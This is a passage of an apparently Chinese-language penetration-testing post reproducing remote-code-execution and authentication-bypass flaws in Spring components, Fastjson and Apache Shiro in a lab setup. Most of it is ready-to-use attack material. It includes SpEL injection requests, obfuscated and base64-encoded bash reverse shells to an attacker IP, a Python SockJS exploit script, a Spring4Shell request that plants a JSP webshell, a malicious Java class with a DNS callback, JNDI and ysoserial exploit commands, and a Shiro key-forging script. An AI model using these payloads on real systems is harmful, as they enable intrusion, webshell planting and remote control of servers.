${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(81)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(61)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))} 替換response_type值發包 image.png 反彈shell成功 image.png

Spring WebFlow遠端程式碼執行(CVE-2017-4971)

Spring WebFlow 是一個適用於開發基於流程的應用程式的框架(如購物邏輯),可以將流程的定義和實現流程行為的類和檢視分離開來。在其 2.4.x 版本中,如果我們控制了資料繫結時的field,將導致一個SpEL表示式注入漏洞,最終造成任意命令執行。 影響版本 Spring WebFlow 2.4.0 - 2.4.4 http://192.168.48.133:8080/hotels/1 image.png 這裡有預設的賬號密碼 image.png 登陸後 image.png 點選confirm抓包 image.png 漏洞觸發點在這裡 payload構造 &_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.48.144/6665+0>%261")).start()=vulhub image.png 反彈shell成功 image.png

Spring Data Rest 遠端命令執行漏洞復現(CVE-2017-8046)

漏洞原理 Spring-data-rest伺服器在處理PATCH請求時,攻擊者可以構造惡意的PATCH請求併傳送給spring-date-rest伺服器,透過構造好的JSON資料來執行任意Java程式碼 image.png payload 其中數字的構造 payload = b'touch /tmp/success' bytecode = ','.join(str(i) for i in list(payload)) print(bytecode)

PATCH/customers/1HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json-patch+json Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

反彈shell bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY1IDA+JjE=}|{base64,-d}|{bash,-i} 98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,81,52,76,106,69,48,78,67,56,50,78,106,89,49,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125 記得修改Content-Type: application/json-patch+json image.png 反彈shell成功 image.png

Spring CVE-2018-1270

影響版本 Spring Framework 5.0 to 5.0.4 Spring Framework 4.3 to 4.3.14 EXP利用

#!/usr/bin/env python3 import requests import random import string import time import threading import logging import sys import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length): letters = string.ascii_lowercase + string.digits return ''.join(random.choice(letters) for c in range(length))

class SockJS(threading.Thread): def init(self, url, args, **kwargs): super().init(args, *kwargs) self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}' self.daemon = True self.session = requests.session() self.session.headers = { 'Referer': url, 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)' } self.t = int(time.time()1000)

def run(self): url = f'{self.base}/htmlfile?c=_jp.vulhub' response = self.session.get(url, stream=True) for line in response.iter_lines(): time.sleep(0.5)

def send(self, command, headers, body=''): data = [command.upper(), '\n']

data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))

data.append('\n\n') data.append(body) data.append('\x00') data = json.dumps([''.join(data)])

response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data) if response.status_code != 204: logging.info(f"send '{command}' data error.") else: logging.info(f"send '{command}' data success.")

def del(self): self.session.close()

sockjs = SockJS('http://你的靶機IP:8080/gs-guide-websocket') sockjs.start() time.sleep(1)

sockjs.send('connect', { 'accept-version': '1.1,1.0', 'heart-beat': '10000,10000' }) sockjs.send('subscribe', { 'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的kaliIP/kali監聽埠;cat <&5 | while read line; do $line 2>&5 >&5; done"})', 'id': 'sub-0', 'destination': '/topic/greetings' })

data = json.dumps({'name': 'vulhub'}) sockjs.send('send', { 'content-length': len(data), 'destination': '/app/hello' }, data)

image.png image.png 反彈shell成功

Spring Data Commons RCE漏洞(CVE-2018-1273)

Spring Data是一個用於簡化資料庫訪問,並支援雲服務的開源框架,Spring Data Commons是Spring Data下所有子專案共享的基礎框架。Spring Data Commons 在2.0.5及以前版本中,存在一處SpEL表示式注入漏洞,攻擊者可以注入惡意SpEL表示式以執行任意命令 python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/" image.png

POST /users?page=&size=5 HTTP/1.1 Host: 192.168.48.133:8080 Connection: keep-alive Content-Length: 129 Pragma: no-cache Cache-Control: no-cache Origin: http://192.168.48.133:8080 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8 Referer: http://192.168.48.133:8080/users?page=0&size=5 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch whoami.sh")]=&password=&123repeatedPassword=123

image.png python啟動http.server python -m http.server 8888 image.png bash -i >& /dev/tcp/192.168.48.144/6665 0>&1 image.png payload username#this.getClass().forName("java.lang.Runtime").getRuntime().exec('wget [http://192.168.48.144:8888/whoami6.sh')]=&password=&123repeatedPassword=123]=&password=&123repeatedPassword=123) 這裡bash反彈成功了 ./執行未成功 image.png image.png

Spring Cloud Gateway遠端程式碼執行漏洞(CVE-2022-22947)

漏洞說明 2022年3月1日,VMware官方釋出漏洞報告,在使用Spring Colud Gateway的應用程式開啟、暴露Gateway Actuator端點時,會容易造成程式碼注入攻擊,攻擊者可以製造惡意請求,在遠端主機進行任意遠端執行。 影響版本

  • Spring Cloud Gateway 3.1.x < 3.1.1

  • Spring Cloud Gateway 3.0.x < 3.0.7

  • 舊的、不受支援的版本也會受到影響

python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/" image.png image.png

POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: 192.168.48.133:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/json Content-Length: 310

{ "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}" } }], "uri": "http://example.com" }

傳送如下資料包觸發表示式執行 image.png

POST /actuator/gateway/refresh HTTP/1.1 Host: 192.168.48.133:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0

GET /actuator/gateway/routes/hacktest HTTP/1.1 Host: 192.168.48.133:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close

傳送如上資料包檢視結果 image.png

Spring Cloud Function SpEL RCE漏洞(CVE-2022-22963)

漏洞說明 2022年3月,Spring Cloud 官方修復了一個 Spring Cloud Function中的 SPEL 表示式注入漏洞,由於 Spring Cloud Function中 RoutingFunction 類的 apply 方法將請求頭中的 “spring.cloud.function.routing-expression” 引數作為SpEL表示式進行處理,造成了SpEL表示式注入漏洞,攻擊者可利用該漏洞遠端執行任意程式碼。 漏洞利用 手工復現

POST /functionRouter HTTP/1.1 Host: 192.168.68.168:8080 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY1IDA+JjE=}|{base64,-d}|{bash,-i}") Content-Type: text/plain Content-Length: 6

Test

image.png

image.png

Spring Core RCE漏洞(CVE-2022-22965)

漏洞說明 Spring framework 是Spring 裡面的一個基礎開源框架,其目的是用於簡化 Java 企業級應用的開發難度和開發週期,2022年3月31日,VMware Tanzu釋出漏洞報告,Spring Framework存在遠端程式碼執行漏洞,在 JDK 9+ 上執行的 Spring MVC 或 Spring WebFlux 應用程式可能容易受到透過資料繫結的遠端程式碼執行 (RCE) 的攻擊。 image.png /tomcatwar.jsp?pwd=aabysszg&cmd=whoami image.png 手工復現 GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 Host: 192.168.48.133:8080 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close suffix: %>// c1: Runtime c2: <% DNT: 1 Content-Length: 2 http://192.168.48.133:8080/tomcatwar.jsp?pwd=j&cmd=id

Spring Security 身份認證繞過漏洞 (CVE-2022-22978)

漏洞說明 當SpringSecurity中使用RegexRequestMatcher進行許可權配置,且規則中使用帶點號的正規表示式時,未經授權的遠端攻擊者可透過構造惡意資料包繞過身份認證,導致配置的許可權驗證失效 image.png /admin/%0dtest image.png /admin/%0atest image.png spring漏洞總結 spring框架存在敏感資訊洩露漏洞,headdump洩露可能回洩露資料庫密碼等敏感資料,同時有許多的spel表示式注入漏洞,可以導致遠端命令執行,還有身份認證繞過漏洞

Fastjson

什麼是fastjson?

fastjson 是一個 有阿里開發的一個開源Java 類庫,可以將 Java 物件轉換為 JSON 格式(序列化),當然它也可以將 JSON 字串轉換為 Java 物件(反序列化)。Fastjson 可以操作任何 Java 物件,即使是一些預先存在的沒有原始碼的物件

fastjson反序列化漏洞原理

fastjson在解析json的過程中,支援使用autoType來例項化某一個具體的類,並呼叫該類的set/get方法來訪問屬性。透過查詢程式碼中相關的方法,即可構造出一些惡意利用鏈。 fastjson漏洞利用過程 編譯一個惡意類,啟動RMI服務,構造fastjson payload載入遠端類,達到命令執行的目的。 漏洞復現 首先要配置好 marshalsec.jar 該工具是java反序列化工具,可以快速開啟RMI和LDAP服務 mvn編譯,建議環境JAVA1.8,maven3.6+ proxychains4 git clone https://github.com/mbechler/marshalsec.git mvn clean package -DskipTests

import java.lang.Runtime;
​
import java.lang.Process;
​
public class test{
​
    static {
​
        try {
​
            Runtime rt = Runtime.getRuntime();
​
            String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.ivg4na.dnslog.cn"};
​
            Process pc = rt.exec(commands);
​
            pc.waitFor();
​
        } catch (Exception e) {
​
​
        }
​
    }
​
}

javac test.java yakit啟動dnslog image.png

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.48.144:9999/#test" 6666 image.png image.png image.png 整體流程 1@type 指向com.sun.rowset.JdbcRowSetImpl類 該類其中有個dataSourceName方法支援傳入一個rmi的源,只要解析其中的url就會支援遠端呼叫 image.png 2遠端訪問我們啟動的rmi伺服器,rmi伺服器請求載入遠端伺服器的class,這個class就是我們提前編譯上傳到伺服器的惡意class image.png image.png 3.rmi將遠端載入得到的class返回給靶機伺服器,靶機伺服器執行程式碼 image.png 反彈shell的利用 這裡利用JNDI工具 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY1IDA+JjE=}|{base64,-d}|{bash,-i} -C為命令 -A為攻擊機IP java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY1IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.48.144" image.png 這裡用JDK1.7的成功打通,反彈shell rmi://192.168.48.144:1099/g8gp2e image.png

fastjson不出網打法利用

fastjson不出網的話我們就沒有辦法利用這個rmi服務進行遠端載入惡意類了 本地搭建環境 TemplatesImpl打法 利用條件苛刻 服務端使用parseObject時,必須使用如下格式才能觸發漏洞 JSON.parseObject(input, Object.class, Feature.SupportNonPublicField) 服務端使用parse()時,需要JSON.parse(text1,Feature.SupportNonPublicField)

<dependencies>
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
</dependencies>

Templateslmplcmd.Java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Templateslmplcmd extends AbstractTranslet {
    public Templateslmplcmd() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }
}
import java.io.*;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.util.Base64;

public class test01 {
    public static void main(String[] args) throws Exception {
        FileInputStream inputFromFile = new FileInputStream("E:\\JAVASEC\\test02\\src\\main\\java\\Templateslmplcmd.class");
        byte[] bs = new byte[inputFromFile.available()];
        inputFromFile.read(bs);
        String encodedBytes = Base64.getEncoder().encodeToString(bs);
        //<=1.2.24
        String payload = "{\r\n"
                + "    \"a\": {\r\n"
                + "        \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \r\n"
                + "        \"_bytecodes\": [\r\n"
                + "            \""+encodedBytes+"\"\r\n"
                + "        ], \r\n"
                + "        \"_name\": \"aaa\", \r\n"
                + "        \"_tfactory\": { }, \r\n"
                + "        \"_outputProperties\": { }\r\n"
                + "    }\r\n"
                + "}";
        //<1.2.48
//         payload = "{\r\n"
//               + "    \"a\": {\r\n"
//               + "        \"@type\": \"java.lang.Class\", \r\n"
//               + "        \"val\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\r\n"
//               + "    }, \r\n"
//               + "    \"b\": {\r\n"
//               + "        \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \r\n"
//               + "        \"_bytecodes\": [\r\n"
//               + "            \""+encodedBytes+"\"\r\n"
//               + "        ], \r\n"
//               + "        \"_name\": \"aaa\", \r\n"
//               + "        \"_tfactory\": { }, \r\n"
//               + "        \"_outputProperties\": { }\r\n"
//               + "    }\r\n"
//               + "}";
        System.out.println(payload);
        JSON.parseObject(payload, Feature.SupportNonPublicField);

    }
}

image.png BCEL不出網打法 C3P0二次反序列化打法 等等可參考https://github.com/lemono0/FastJsonParty/blob/main/Fastjson%E5%85%A8%E7%89%88%E6%9C%AC%E6%A3%80%E6%B5%8B%E5%8F%8A%E5%88%A9%E7%94%A8-Poc.md

shiro

shiro漏洞原理介紹 shiro的特徵的是rememberMe欄位 rememberMe欄位採用的是AES加密+base64編碼 採用AES加密我們拿到KEY的話就可以解密,服務端會進行base64解碼+AES解密進行反序列化,那麼拿到KEY便可以進行修改rememberMe的值進行反序列化攻擊

shiro-CVE-2016-4437

CVE-2016-4437,影響版本shiro1.24 如果未勾選 Remember me,則只能在返回包裡看見 image.png 勾選可看 image.png 這裡是先用工具爆破金鑰 image.png 手工復現,更容易理解漏洞過程 key如下 kPH+bIxk5D2deZiIxcaaaA== 參考網上公開程式碼如下 :::info import uuid import base64 from Crypto.Cipher import AES

def encode_rememberme(): f = open('poc.ser','rb') BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(f.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext

if name == 'main': payload = encode_rememberme() print("rememberMe={0}".format(payload.decode())) ::: 反彈shell利用 bash -i >& /dev/tcp/192.168.48.144/6668 0>&1 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY4IDA+JjE= java -jar ysoserial-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY4IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser image.png image.png cookie修改發包 image.png 反彈shell成功 image.png

shiro-CVE-2020-1957

漏洞描述 使用 Apache Shiro 進行身份驗證、許可權控制時,可以精心構造惡意的URL,利用Apache Shiro 和 Spring Boot 對URL的處理的差異化,可以繞過Apache Shiro 對 Spring Boot 中的 Servlet的許可權控制,越權並實現未授權訪問。 漏洞影響版本

  • Apache Shiro < 1.5.1

漏洞復現 payload /xxx/..;/admin/ 越權訪問後臺管理系統 image.png

shiro baypasswaf

bypasswaf可參考如下文章 http://120.79.21.98:8090/archives/shirobypass

shiro有key無利用鏈子打法

面試遇見過的問題,除了問shiro反序列化漏洞原理有時候也會問到這個點 其實還是有鏈子的,鏈子多的話,透過爆破利用鏈,完成漏洞利用。 環境搭建 docker pull medicean/vulapps:s_shiro_1 docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

image.png

更多網安技能的線上實操練習,請點選這裡>>

相關文章